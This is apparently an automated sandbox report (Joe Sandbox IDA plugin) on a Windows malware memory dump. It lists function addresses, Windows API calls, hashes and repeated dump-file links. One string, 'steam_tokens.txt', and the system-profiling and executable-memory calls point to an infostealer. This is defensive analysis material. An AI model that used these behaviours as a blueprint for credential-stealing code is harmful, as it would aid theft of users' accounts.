Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 869194160-0
Opcode ID: efd4dc239b49fb99bbfd1069c0ac1cdb45bec6c13a269f84b0dddfaf1f80abb9
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: efd4dc239b49fb99bbfd1069c0ac1cdb45bec6c13a269f84b0dddfaf1f80abb9
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,025E4B48,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 31e308a2702a12bc628887caaa0b1201e0d349a909a28e03d21d8c8f8041e4fb
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 31e308a2702a12bc628887caaa0b1201e0d349a909a28e03d21d8c8f8041e4fb
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: 42a7ad65bae4e9558e0380f2075f04e5ea268d23bcb951c8a89b1ddadc345638
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: 42a7ad65bae4e9558e0380f2075f04e5ea268d23bcb951c8a89b1ddadc345638
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1dbadf0351bfe0d456c8441b72d0781cfe79819e97f9c8658590d48fe0b3a877
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 1dbadf0351bfe0d456c8441b72d0781cfe79819e97f9c8658590d48fe0b3a877
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2c6e631158fd8132a9939cbc95aa03e1859264bdf7cf7f2be2d91b3cfbbd0b89
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: 2c6e631158fd8132a9939cbc95aa03e1859264bdf7cf7f2be2d91b3cfbbd0b89
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,02609720), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 129850b5d2f275a351fed680d92c083f50d225a6d08bec1a346a19f631c1447b
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: 129850b5d2f275a351fed680d92c083f50d225a6d08bec1a346a19f631c1447b
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 556a7a6c9be2d053d607ba92e7c834e3128791a2465422ba457eb21d59b8c603
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 556a7a6c9be2d053d607ba92e7c834e3128791a2465422ba457eb21d59b8c603
